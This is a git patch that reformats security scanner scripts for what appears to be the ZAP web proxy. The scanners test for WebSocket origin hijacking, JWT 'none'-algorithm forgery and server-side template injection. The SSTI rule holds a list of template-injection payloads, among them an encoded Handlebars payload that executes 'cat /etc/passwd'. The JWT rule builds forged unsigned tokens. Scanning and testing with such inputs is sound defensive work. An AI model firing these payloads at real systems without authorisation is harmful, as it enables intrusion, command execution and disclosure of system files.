From 9fa4064ab46d45b5cedc34b1ed179147fa2ad61e Mon Sep 17 00:00:00 2001 From: ricekot Date: Tue, 9 Apr 2024 13:24:01 +0530 Subject: [PATCH] Format JS scripts with Prettier Signed-off-by: ricekot --- CHANGELOG.md | 3 + active/Cross Site WebSocket Hijacking.js | 126 +-- active/JWT None Exploit.js | 233 ++--- active/SSTI.js | 330 ++++--- active/User defined attacks.js | 320 +++--- active/cve-2019-5418.js | 117 ++- active/gof_lite.js | 230 +++-- authentication/CasAuthentication.js | 196 ++-- authentication/DjangoAuthentication.js | 61 +- authentication/GetsWithRedirectThenPost.js | 266 +++-- authentication/MagentoAuthentication.js | 106 +- authentication/MediaWikiApiAuthentication.js | 133 +-- authentication/MediaWikiAuthentication.js | 169 ++-- authentication/OfflineTokenRefresh.js | 63 +- authentication/TwoStepAuthentication.js | 148 +-- build.gradle.kts | 64 +- encode-decode/JwtDecode.js | 43 +- encode-decode/double-spacer.js | 6 +- extender/Simple Reverse Proxy.js | 51 +- extender/ZAP onEvent Handler.js | 34 +- extender/arpSyndicateSubdomainDiscovery.js | 88 +- httpfuzzerprocessor/FuzzerStopOnStatusCode.js | 20 +- httpfuzzerprocessor/addCacheBusting.js | 36 +- httpfuzzerprocessor/add_msgs_sites_tree.js | 22 +- httpfuzzerprocessor/randomUserAgent.js | 30 +- .../random_x_forwarded_for_ip.js | 23 +- httpfuzzerprocessor/showDifferences.js | 111 +-- httpfuzzerprocessor/unexpected_responses.js | 156 +-- httpsender/AddBearerTokenHeader.js | 34 +- .../Alert on HTTP Response Code Errors.js | 190 ++-- .../Alert on Unexpected Content Types.js | 208 ++-- .../Capture and Replace Anti CSRF Token.js | 107 +- httpsender/LogMessages.js | 67 +- httpsender/UpgradeHttp1To2.js | 35 +- httpsender/add-extra-headers.js | 110 +-- httpsender/add-more-headers.js | 28 +- httpsender/fingerprinter.js | 12 +- httpsender/full-session-n-csrf-nashorn.js | 911 +++++++++++------- httpsender/greenbone-maintain-auth.js | 101 +- httpsender/inject-xss.js | 29 +- httpsender/inject_js_in_html_page.js | 64 +- httpsender/juice-shop-maintain-auth.js | 35 +- httpsender/keep-cookies-going.js | 38 +- httpsender/maintain-jwt.js | 70 +- .../JuiceShopAuthentication.js | 169 ++-- .../JuiceShopHttpSender.js | 141 +-- .../juiceshop-selenium-auth/JuiceShopReset.js | 29 +- .../JuiceShopSelenium.js | 23 +- .../JuiceShopSession.js | 46 +- .../setup_module/proxy_scripts/zapAddCsp.js | 44 +- passive/CookieHTTPOnly.js | 50 +- passive/Find Credit Cards.js | 164 ++-- passive/Find Emails.js | 89 +- passive/Find HTML Comments.js | 128 ++- passive/Find Hashes.js | 381 +++++--- passive/Find IBANs.js | 85 +- passive/Find Internal IPs.js | 84 +- passive/JavaDisclosure.js | 68 +- passive/Mutliple Security Header Check.js | 200 ++-- passive/RPO.js | 78 +- passive/Report non static sites.js | 88 +- passive/SQL injection detection.js | 571 +++++++---- passive/Server Header Disclosure.js | 66 +- passive/Telerik Using Poor Crypto.js | 372 +++---- passive/Upload form discovery.js | 67 +- passive/X-Powered-By_header_checker.js | 47 +- passive/clacks.js | 46 +- passive/detect_csp_notif_and_reportonly.js | 133 ++- passive/detect_samesite_protection.js | 112 ++- passive/f5_bigip_cookie_internal_ip.js | 288 +++--- passive/find base64 strings.js | 106 +- passive/google_api_keys_finder.js | 15 +- passive/s3.js | 85 +- payloadgenerator/securerandom.js | 23 +- payloadprocessor/to-hex.js | 6 +- proxy/Drop requests by response code.js | 16 +- proxy/Drop requests not in scope.js | 31 +- proxy/Emulate Android.js | 13 +- proxy/Emulate Chrome.js | 13 +- proxy/Emulate Firefox.js | 13 +- proxy/Emulate IE.js | 12 +- proxy/Emulate Safari.js | 13 +- proxy/Emulate iOS.js | 13 +- proxy/Replace in request or response body.js | 56 +- proxy/Return fake response.js | 40 +- proxy/Useragent Replace.js | 35 +- proxy/WAF_Bypass.js | 17 +- proxy/dropCookiesSelectively.js | 24 +- selenium/FillOTPInMFA.js | 4 +- selenium/Selenium Juice Shop.js | 40 +- session/Juice Shop Session Management.js | 62 +- settings.gradle.kts | 2 +- standalone/Active scan rule list.js | 36 +- .../Juice shop authentication by form.js | 19 +- .../Juice shop authentication by google.js | 21 +- standalone/Loop through alerts.js | 27 +- standalone/Loop through history table.js | 29 +- standalone/SecurityCrawlMazeScore.js | 244 ++--- standalone/Traverse sites tree.js | 14 +- standalone/alertAndPluginDetails.js | 64 +- standalone/devTools.js | 46 +- standalone/enableDebugLogging.js | 11 +- standalone/example_library.js | 6 +- standalone/historySourceTagger.js | 54 +- standalone/load_function_example.js | 14 +- standalone/scan_rule_list.js | 41 +- standalone/window_creation_template.js | 32 +- targeted/ElasticSearchExploit.js | 61 +- targeted/Find HTML comments.js | 25 +- targeted/Find largest subtree.js | 65 +- targeted/Remove 302s.js | 72 +- targeted/SQLMapCommandGenerator.js | 42 +- .../Search www.xssposed.org for known XSS.js | 7 +- targeted/WordPress User Enumeration.js | 302 +++--- targeted/curl_command_generator.js | 77 +- targeted/cve-2021-22214.js | 215 +++-- targeted/cve-2021-41773-apache-path-trav.js | 145 +-- targeted/dns-email-spoofing.js | 197 ++-- targeted/json_csrf_poc_generator.js | 195 ++-- targeted/request_to_xml.js | 443 +++++---- ...h cvedetails using target server header.js | 16 +- variant/CompoundCookies.js | 115 ++- variant/JsonStrings.js | 110 +-- variant/param_name_variant.js | 98 +- 124 files changed, 7029 insertions(+), 5246 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index cc3a3761..3b03474a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -11,6 +11,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - httpsender/RsaEncryptPayloadForZap.py - A script that encrypts requests using RSA - selenium/FillOTPInMFA.js - A script that fills the OTP in MFA +### Changed +- Use Prettier to format all JavaScript scripts. + ## [18] - 2024-01-29 ### Added - httpsender/RsaSigningForZap.py - A script that signs requests using RSA diff --git a/active/Cross Site WebSocket Hijacking.js b/active/Cross Site WebSocket Hijacking.js index 3fecd0ca..395a65cc 100644 --- a/active/Cross Site WebSocket Hijacking.js +++ b/active/Cross Site WebSocket Hijacking.js @@ -37,73 +37,83 @@ * Note: Active scripts are initially disabled, right click the script to enable it. */ -var Base64 = Java.type("java.util.Base64") -var Random = Java.type("java.util.Random") -var String = Java.type("java.lang.String") -var ByteArray = Java.type("byte[]") +var Base64 = Java.type("java.util.Base64"); +var Random = Java.type("java.util.Random"); +var String = Java.type("java.lang.String"); +var ByteArray = Java.type("byte[]"); -var LOG_DEBUG_MESSAGES = false // change to true for more logs +var LOG_DEBUG_MESSAGES = false; // change to true for more logs -var RISK = 3 -var CONFIDENCE = 2 -var TITLE = "Cross-Site WebSocket Hijacking" -var DESCRIPTION = "Server accepted WebSocket connection through HTTP Upgrade request with modified Origin header." -var SOLUTION = "Validate Origin header on WebSocket connection handshake, to ensure only specified origins are allowed to connect.\ - Also, WebSocket handshake should use random tokens, similar to anti CSRF tokens." -var REFERENCE = "https://tools.ietf.org/html/rfc6455#section-10.2" -var OTHER = "See also https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking\ - or https://christian-schneider.net/CrossSiteWebSocketHijacking.html" -var CWEID = 346 // CWE-346: Origin Validation Error, http://cwe.mitre.org/data/definitions/346.html -var WASCID = 9 // WASC-9 Cross Site Request Forgery, http://projects.webappsec.org/w/page/13246919/Cross%20Site%20Request%20Forgery +var RISK = 3; +var CONFIDENCE = 2; +var TITLE = "Cross-Site WebSocket Hijacking"; +var DESCRIPTION = + "Server accepted WebSocket connection through HTTP Upgrade request with modified Origin header."; +var SOLUTION = + "Validate Origin header on WebSocket connection handshake, to ensure only specified origins are allowed to connect.\ + Also, WebSocket handshake should use random tokens, similar to anti CSRF tokens."; +var REFERENCE = "https://tools.ietf.org/html/rfc6455#section-10.2"; +var OTHER = + "See also https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking\ + or https://christian-schneider.net/CrossSiteWebSocketHijacking.html"; +var CWEID = 346; // CWE-346: Origin Validation Error, http://cwe.mitre.org/data/definitions/346.html +var WASCID = 9; // WASC-9 Cross Site Request Forgery, http://projects.webappsec.org/w/page/13246919/Cross%20Site%20Request%20Forgery function scanNode(as, msg) { - var target = msg.getRequestHeader().getURI().toString() - - // check if this is a WebSocket HTTP Upgrade request (the message should include also "Connection: Upgrade" header if we wanted to check it strictly) - // TODO: in ZAP 2.11 we might use msg.isWebSocketUpgrade() check instead - var upgradeHeader = msg.getRequestHeader().getHeader("Upgrade") - if (!upgradeHeader || upgradeHeader.toLowerCase() !== "websocket") { - if (LOG_DEBUG_MESSAGES) { - print("Cross-Site WebSocket Hijacking rule skipped for url=" + target + ", it does not appear to be a WebSocket upgrade request") - } - return - } + var target = msg.getRequestHeader().getURI().toString(); + // check if this is a WebSocket HTTP Upgrade request (the message should include also "Connection: Upgrade" header if we wanted to check it strictly) + // TODO: in ZAP 2.11 we might use msg.isWebSocketUpgrade() check instead + var upgradeHeader = msg.getRequestHeader().getHeader("Upgrade"); + if (!upgradeHeader || upgradeHeader.toLowerCase() !== "websocket") { if (LOG_DEBUG_MESSAGES) { - print("Cross-Site WebSocket Hijacking rule started for url=" + target) + print( + "Cross-Site WebSocket Hijacking rule skipped for url=" + + target + + ", it does not appear to be a WebSocket upgrade request" + ); } - msg = msg.cloneRequest() + return; + } + + if (LOG_DEBUG_MESSAGES) { + print("Cross-Site WebSocket Hijacking rule started for url=" + target); + } + msg = msg.cloneRequest(); - // set random Sec-WebSocket-Key - var randomBytes = new ByteArray(16) - new Random().nextBytes(randomBytes) - var secWsKey = new String(Base64.getEncoder().encode(randomBytes)) - msg.getRequestHeader().setHeader("Sec-WebSocket-Key", secWsKey) + // set random Sec-WebSocket-Key + var randomBytes = new ByteArray(16); + new Random().nextBytes(randomBytes); + var secWsKey = new String(Base64.getEncoder().encode(randomBytes)); + msg.getRequestHeader().setHeader("Sec-WebSocket-Key", secWsKey); - // set Origin header using custom domain, .example is a reserved TLD in RFC 2606 so it should not match domain name of a scanned service - msg.getRequestHeader().setHeader("Origin", "https://cswsh.example") + // set Origin header using custom domain, .example is a reserved TLD in RFC 2606 so it should not match domain name of a scanned service + msg.getRequestHeader().setHeader("Origin", "https://cswsh.example"); - as.sendAndReceive(msg, true, false) + as.sendAndReceive(msg, true, false); - var responseStatus = msg.getResponseHeader().getStatusCode() - if (responseStatus === 101) { - // should not have accepted connection with different origin - if (LOG_DEBUG_MESSAGES) { - print("Cross-Site WebSocket Hijacking vulnerability found, sending alert for url=" + target) - } - as.newAlert() - .setRisk(RISK) - .setConfidence(CONFIDENCE) - .setName(TITLE) - .setDescription(DESCRIPTION) - .setParam(target) - .setEvidence(msg.getResponseHeader().getPrimeHeader()) - .setOtherInfo(OTHER) - .setSolution(SOLUTION) - .setReference(REFERENCE) - .setCweId(CWEID) - .setWascId(WASCID) - .setMessage(msg) - .raise() - } + var responseStatus = msg.getResponseHeader().getStatusCode(); + if (responseStatus === 101) { + // should not have accepted connection with different origin + if (LOG_DEBUG_MESSAGES) { + print( + "Cross-Site WebSocket Hijacking vulnerability found, sending alert for url=" + + target + ); + } + as.newAlert() + .setRisk(RISK) + .setConfidence(CONFIDENCE) + .setName(TITLE) + .setDescription(DESCRIPTION) + .setParam(target) + .setEvidence(msg.getResponseHeader().getPrimeHeader()) + .setOtherInfo(OTHER) + .setSolution(SOLUTION) + .setReference(REFERENCE) + .setCweId(CWEID) + .setWascId(WASCID) + .setMessage(msg) + .raise(); + } } diff --git a/active/JWT None Exploit.js b/active/JWT None Exploit.js index 4feb3c8b..615c1840 100644 --- a/active/JWT None Exploit.js +++ b/active/JWT None Exploit.js @@ -1,136 +1,147 @@ // ECMA Script uses the Oracle Nashorn engine, therefore all standard library comes from Java // https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/prog_guide/javascript.html -var Cookie = Java.type("java.net.HttpCookie") -var Base64 = Java.type("java.util.Base64") -var String = Java.type("java.lang.String") +var Cookie = Java.type("java.net.HttpCookie"); +var Base64 = Java.type("java.util.Base64"); +var String = Java.type("java.lang.String"); // Exploit information, used for raising alerts -var RISK = 3 -var CONFIDENCE = 2 -var TITLE = "JWT None Exploit" -var DESCRIPTION = "The application's JWT implementation allows for the usage of the 'none' algorithm, which bypasses the JWT hash verification." -var SOLUTION = "Use a secure JWT library, and (if your library supports it) restrict the allowed hash algorithms." -var REFERENCE = "https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/" -var CWEID = 347 // CWE-347: Improper Verification of Cryptographic Signature -var WASCID = 15 // WASC-15: Application Misconfiguration +var RISK = 3; +var CONFIDENCE = 2; +var TITLE = "JWT None Exploit"; +var DESCRIPTION = + "The application's JWT implementation allows for the usage of the 'none' algorithm, which bypasses the JWT hash verification."; +var SOLUTION = + "Use a secure JWT library, and (if your library supports it) restrict the allowed hash algorithms."; +var REFERENCE = + "https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/"; +var CWEID = 347; // CWE-347: Improper Verification of Cryptographic Signature +var WASCID = 15; // WASC-15: Application Misconfiguration function b64encode(string) { - // Terminate the string with a null byte prior to encoding. I suspect that - // this is required because the string being created as a JavaScript string - // and then handled like a java.lang.String object. When the null byte isn't - // present the Base64 encode call returns the decoded string, along with - // additional garbage characters. - var message = (string + "\0").getBytes() - var bytes = Base64.getEncoder().encode(message) - return new String(bytes) + // Terminate the string with a null byte prior to encoding. I suspect that + // this is required because the string being created as a JavaScript string + // and then handled like a java.lang.String object. When the null byte isn't + // present the Base64 encode call returns the decoded string, along with + // additional garbage characters. + var message = (string + "\0").getBytes(); + var bytes = Base64.getEncoder().encode(message); + return new String(bytes); } function b64decode(string) { - var message = string.getBytes() - var bytes = Base64.getDecoder().decode(message) - return new String(bytes) + var message = string.getBytes(); + var bytes = Base64.getDecoder().decode(message); + return new String(bytes); } // Detects if a given string may be a valid JWT function is_jwt(content) { - var separated = content.split(".") - - if (separated.length != 3) return false - - try { - b64decode(separated[0]) - b64decode(separated[1]) - } - catch (err) { - return false - } - - return true + var separated = content.split("."); + + if (separated.length != 3) return false; + + try { + b64decode(separated[0]); + b64decode(separated[1]); + } catch (err) { + return false; + } + + return true; } function build_payloads(jwt) { - // Build header specifying use of the none algorithm - var header = b64encode('{"alg":"none","typ":"JWT"}') - var separated = jwt.split(".") - - // Try a series of different JWT formats - return [ - header + "." + separated[1] + ".", // no hash - header + "." + separated[1] + "." + separated[2], // original (but incorrect) hash - header + "." + separated[1] + ".\\(•_•)/", // junk hash - header + "." + separated[1] + ".XCjigKJf4oCiKS8=", // junk (but b64 encoded) hash - separated[0] + "." + separated[1] + "." // old header but no hash - ] + // Build header specifying use of the none algorithm + var header = b64encode('{"alg":"none","typ":"JWT"}'); + var separated = jwt.split("."); + + // Try a series of different JWT formats + return [ + header + "." + separated[1] + ".", // no hash + header + "." + separated[1] + "." + separated[2], // original (but incorrect) hash + header + "." + separated[1] + ".\\(•_•)/", // junk hash + header + "." + separated[1] + ".XCjigKJf4oCiKS8=", // junk (but b64 encoded) hash + separated[0] + "." + separated[1] + ".", // old header but no hash + ]; } // This method is called for every node on the site // ActiveScan as, HttpMessage msg function scanNode(as, msg) { - print("Scanning " + msg.getRequestHeader().getURI().toString()) - - // Extract request cookies and detect if using JWT - var cookies = msg.getRequestHeader().getHttpCookies() - var jwt_cookies = [] - for (var i = 0; i < cookies.length; i++) { - var cookie = cookies[i] - if (is_jwt(cookie.getValue())) - jwt_cookies.push(cookie) - } - - // If no cookie found: skip, if cookie(s) found, use the first - if (jwt_cookies.length == 0) - return - if (jwt_cookies.length > 1) - print("Multiple cookies using JWT found but not yet supported, only first will be used for testing") - - // Default to the first cookie found that uses JWT - var target_cookie = jwt_cookies[0] - - // Send a safe request (with original cookie) to see what a correct response looks like - var msg_safe = msg.cloneRequest() - msg_safe.setCookies([target_cookie]) - as.sendAndReceive(msg_safe) - - // Send a completely mangled request to see if the page actually looks at the cookie - var msg_bad = msg.cloneRequest() - msg_bad.setCookies([new Cookie(target_cookie.getName(), "!@#$%^&*()")]) - as.sendAndReceive(msg_bad) - - var safe_body = msg_safe.getResponseBody() - var bad_body = msg_bad.getResponseBody() - - // If the mangled cookie gives the same response as the correct cookie, we can assume - // that the page does not care what we send in that field and that there is not an exploit - if (safe_body.equals(bad_body)) - return - - var payloads = build_payloads(target_cookie.getValue()) - - for (var i = 0; i < payloads.length; i++) { - var payload = payloads[i] - var cookie_payload = new Cookie(target_cookie.getName(), payload) - var msg_loaded = msg.cloneRequest() - - msg_loaded.setCookies([cookie_payload]) - as.sendAndReceive(msg_loaded) - - var loaded_body = msg_loaded.getResponseBody() - - // If the body of the request sent with the none algorithm is the same as the body of the request - // sent with the default algorithm, we know that the server is parsing the JWT instead of throwing - // some form of server error. We can assume (in this case) that the server is parsing the none - // algorithm and ignoring the hash--which is a vulnerability. - if (loaded_body.equals(safe_body)) - raise_alert(msg_loaded, target_cookie, payload, as) - } + print("Scanning " + msg.getRequestHeader().getURI().toString()); + + // Extract request cookies and detect if using JWT + var cookies = msg.getRequestHeader().getHttpCookies(); + var jwt_cookies = []; + for (var i = 0; i < cookies.length; i++) { + var cookie = cookies[i]; + if (is_jwt(cookie.getValue())) jwt_cookies.push(cookie); + } + + // If no cookie found: skip, if cookie(s) found, use the first + if (jwt_cookies.length == 0) return; + if (jwt_cookies.length > 1) + print( + "Multiple cookies using JWT found but not yet supported, only first will be used for testing" + ); + + // Default to the first cookie found that uses JWT + var target_cookie = jwt_cookies[0]; + + // Send a safe request (with original cookie) to see what a correct response looks like + var msg_safe = msg.cloneRequest(); + msg_safe.setCookies([target_cookie]); + as.sendAndReceive(msg_safe); + + // Send a completely mangled request to see if the page actually looks at the cookie + var msg_bad = msg.cloneRequest(); + msg_bad.setCookies([new Cookie(target_cookie.getName(), "!@#$%^&*()")]); + as.sendAndReceive(msg_bad); + + var safe_body = msg_safe.getResponseBody(); + var bad_body = msg_bad.getResponseBody(); + + // If the mangled cookie gives the same response as the correct cookie, we can assume + // that the page does not care what we send in that field and that there is not an exploit + if (safe_body.equals(bad_body)) return; + + var payloads = build_payloads(target_cookie.getValue()); + + for (var i = 0; i < payloads.length; i++) { + var payload = payloads[i]; + var cookie_payload = new Cookie(target_cookie.getName(), payload); + var msg_loaded = msg.cloneRequest(); + + msg_loaded.setCookies([cookie_payload]); + as.sendAndReceive(msg_loaded); + + var loaded_body = msg_loaded.getResponseBody(); + + // If the body of the request sent with the none algorithm is the same as the body of the request + // sent with the default algorithm, we know that the server is parsing the JWT instead of throwing + // some form of server error. We can assume (in this case) that the server is parsing the none + // algorithm and ignoring the hash--which is a vulnerability. + if (loaded_body.equals(safe_body)) + raise_alert(msg_loaded, target_cookie, payload, as); + } } function raise_alert(msg, cookie, payload, as) { - print("Vulnerability found, sending alert") - as.raiseAlert( - RISK, CONFIDENCE, TITLE, DESCRIPTION, - msg.getRequestHeader().getURI().toString(), "", "", "", SOLUTION, - "Cookie: " + cookie.getName() + "=" + payload, REFERENCE, - CWEID, WASCID, msg - ) + print("Vulnerability found, sending alert"); + as.raiseAlert( + RISK, + CONFIDENCE, + TITLE, + DESCRIPTION, + msg.getRequestHeader().getURI().toString(), + "", + "", + "", + SOLUTION, + "Cookie: " + cookie.getName() + "=" + payload, + REFERENCE, + CWEID, + WASCID, + msg + ); } diff --git a/active/SSTI.js b/active/SSTI.js index 38be1cff..05780b15 100644 --- a/active/SSTI.js +++ b/active/SSTI.js @@ -12,183 +12,205 @@ var LoggerManager = Java.type("org.apache.logging.log4j.LogManager"); var log = LoggerManager.getLogger("SSTI"); // HasMap for alertTags -var HashMap = Java.type('java.util.HashMap'); +var HashMap = Java.type("java.util.HashMap"); function logger() { - print("[" + this["zap.script.name"] + "] " + arguments[0]); - log.debug("[" + this["zap.script.name"] + "] " + arguments[0]); + print("[" + this["zap.script.name"] + "] " + arguments[0]); + log.debug("[" + this["zap.script.name"] + "] " + arguments[0]); } function scan(as, msg, param, value) { + logger( + "scan called for url=" + + msg.getRequestHeader().getURI().toString() + + " param=" + + param + + " value=" + + value + ); + + // Copy requests before reusing them + var sstiFuzzMessage = msg.cloneRequest(); + + // Check if the scan was stopped before performing lengthy tasks + if (as.isStop()) { + return; + } + + // Fuzz for SSTI and detect template engine in use by inducing errors + sstiFuzzEngineErrorDetect(as, sstiFuzzMessage, param); + + // Fuzz for SSTI and detect template engine in use by evaluating an expression + sstiFuzzEngineMathDetect(as, sstiFuzzMessage, param); +} - logger('scan called for url=' + msg.getRequestHeader().getURI().toString() + - ' param=' + param + ' value=' + value); +function sstiFuzzEngineErrorDetect(as, msg, param) { + logger("SSTI Error Based Engine Detection Started..."); + + // Attacks for generating errors to detect the template engine being used + // We are using two types of errors mostly, because sometimes some types of errors are handled without output + // a) Undeclared variable + // b) Division by zero + var errorGenerateAttacks = [ + "<%= foobar %>", // ruby erb + "<%= 7/0 %>", // ruby erb + "{{1/0}}", // tornado / handlebars / twig / django + "{{foobar}}", // tornado / twig + "{{ errorProduce(sumthin) }}", // twig + "${foobar}", // freemarker + "${7/0}", // freemarker + "{#foobar}", // dust + "#{foobar}", // ruby slim + "#{7/0}", //ruby slim + "{% foobar %}", // django + '#include( "nonone.txt" )', // velocity + "${{<%[%'\"}}%.", // SSTI polyglot + ]; + + for (var i = 0; i < errorGenerateAttacks.length; i++) { + var err = errorGenerateAttacks[i]; // Copy requests before reusing them - var sstiFuzzMessage = msg.cloneRequest(); + var fuzzMsg = msg.cloneRequest(); + + // setParam (message, parameterName, newValue) + as.setParam(fuzzMsg, param, err); + + // sendAndReceive(msg, followRedirect, handleAntiCSRFtoken) + as.sendAndReceive(fuzzMsg, false, false); + var respBody = fuzzMsg.getResponseBody().toString(); + + // Possible template engines + var templateEngines = [ + "jinja", + "django", + "tornado", + "erb", + "freemarker", + "handlebars", + "velocity", + "twig", + "dot", + "dust", + "smarty", + "mako", + "Slim", + "ejs", + "Infinity", + "INF", + ]; - // Check if the scan was stopped before performing lengthy tasks - if (as.isStop()) { + for (var j = 0; j < templateEngines.length; j++) { + var engine = templateEngines[j]; + if (respBody.indexOf(engine) != -1) { + logger("Server Side Template Injection Found! Raising Alert..."); + raiseAlert(as, fuzzMsg, err, engine, 2, param, engine); + logger("SSTI Error Based Engine Detection Completed."); return; + } } + } - // Fuzz for SSTI and detect template engine in use by inducing errors - sstiFuzzEngineErrorDetect(as, sstiFuzzMessage, param); - - // Fuzz for SSTI and detect template engine in use by evaluating an expression - sstiFuzzEngineMathDetect(as, sstiFuzzMessage, param); + logger("SSTI Error Based Engine Detection Completed."); } -function sstiFuzzEngineErrorDetect(as, msg, param) { - - logger("SSTI Error Based Engine Detection Started..."); - - // Attacks for generating errors to detect the template engine being used - // We are using two types of errors mostly, because sometimes some types of errors are handled without output - // a) Undeclared variable - // b) Division by zero - var errorGenerateAttacks = [ - "<%= foobar %>", // ruby erb - "<%= 7/0 %>", // ruby erb - "{{1/0}}", // tornado / handlebars / twig / django - "{{foobar}}", // tornado / twig - "{{ errorProduce(sumthin) }}", // twig - "${foobar}", // freemarker - "${7/0}", // freemarker - "{#foobar}", // dust - "#{foobar}", // ruby slim - "#{7/0}", //ruby slim - "{% foobar %}", // django - '#include( "nonone.txt" )', // velocity - "${{<%[%'\"}}%\." // SSTI polyglot - ]; - - for (var i = 0; i < errorGenerateAttacks.length; i++) { - - var err = errorGenerateAttacks[i]; - - // Copy requests before reusing them - var fuzzMsg = msg.cloneRequest(); - - // setParam (message, parameterName, newValue) - as.setParam(fuzzMsg, param, err); - - // sendAndReceive(msg, followRedirect, handleAntiCSRFtoken) - as.sendAndReceive(fuzzMsg, false, false); - var respBody = fuzzMsg.getResponseBody().toString(); - - // Possible template engines - var templateEngines = ["jinja", "django", "tornado", "erb", "freemarker", "handlebars", "velocity", "twig", "dot", "dust", "smarty", "mako", "Slim", "ejs", "Infinity", "INF"]; - - for (var j = 0; j < templateEngines.length; j++) { - - var engine = templateEngines[j]; - if (respBody.indexOf(engine) != -1) { +function sstiFuzzEngineMathDetect(as, msg, param) { + logger("SSTI Expression Evaluation Based Engine Detection Started..."); + + // Attacks for injecting an expression and checking the response to see if it got evaluated + var equationExecuteAttacks = { + "ERB/EJS": ["<%= 9*1371742 %>", "12345678"], // outputs 12345678 + Jinja2: ["{{8*'7'}}", "77777777"], // Outputs 77777777 + Smarty: ["{9*1371742}", "12345678"], // Outputs 12345678 + "Tornado/Twig/Nunjucks/Vue.js/Smarty": ["{{9*1371742}}", "12345678"], //outputs 12345678 + Freemarker: ["${9*1371742}", "12,345,678"], // Outputs 12,345,678 + Mako: ["${9*1371742}", "12345678"], // Outputs 12345678 + Handlebars: [ + "%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d", + "/bin/bash", + ], // Check for /bin/bash in output + velocity: ["#set ($run=9*1371742) $run", "12345678"], // outputs 12345678 + Velocity: ["#{set} ($run=9*1371742) $run", "12345678"], // In case 'set' is blacklisted in velocity circumvent like this, outputs 12345678 + django: ["{% widthratio 9 1 1371742 %}", "12345678"], // outputs 12345678 + Django: ["{% debug %}", "django"], // Check output for "django" + Dot: ["{{=9*1371742}}", "12345678"], //Outputs 12345678 + Dust: ['{@math key="9" method="multiply" operand="1371742"/}', "12345678"], // Outputs 12345678 + "Slim/Jade": ["#{9*1371742}", "12345678"], // Outputs 12345678 + }; + + for (var i in equationExecuteAttacks) { + // Copy requests before reusing them + var fuzzMsg = msg.cloneRequest(); - logger("Server Side Template Injection Found! Raising Alert..."); - raiseAlert(as, fuzzMsg, err, engine, 2, param, engine); - logger("SSTI Error Based Engine Detection Completed."); - return; - } - } - } + // Set payload and evidence + var payload = equationExecuteAttacks[i][0]; + var evidence = equationExecuteAttacks[i][1]; - logger("SSTI Error Based Engine Detection Completed."); -} + // setParam (message, parameterName, newValue) + as.setParam(fuzzMsg, param, payload); -function sstiFuzzEngineMathDetect(as, msg, param) { + // sendAndReceive(msg, followRedirect, handleAntiCSRFtoken) + as.sendAndReceive(fuzzMsg, false, false); + var respBody = fuzzMsg.getResponseBody().toString(); - logger("SSTI Expression Evaluation Based Engine Detection Started..."); - - // Attacks for injecting an expression and checking the response to see if it got evaluated - var equationExecuteAttacks = { - "ERB/EJS": ["<%= 9*1371742 %>", "12345678"], // outputs 12345678 - "Jinja2": ["{{8*'7'}}", "77777777"], // Outputs 77777777 - "Smarty": ["{9*1371742}", "12345678"], // Outputs 12345678 - "Tornado/Twig/Nunjucks/Vue.js/Smarty": ["{{9*1371742}}", "12345678"], //outputs 12345678 - "Freemarker": ["${9*1371742}", "12,345,678"], // Outputs 12,345,678 - "Mako": ["${9*1371742}", "12345678"], // Outputs 12345678 - "Handlebars": 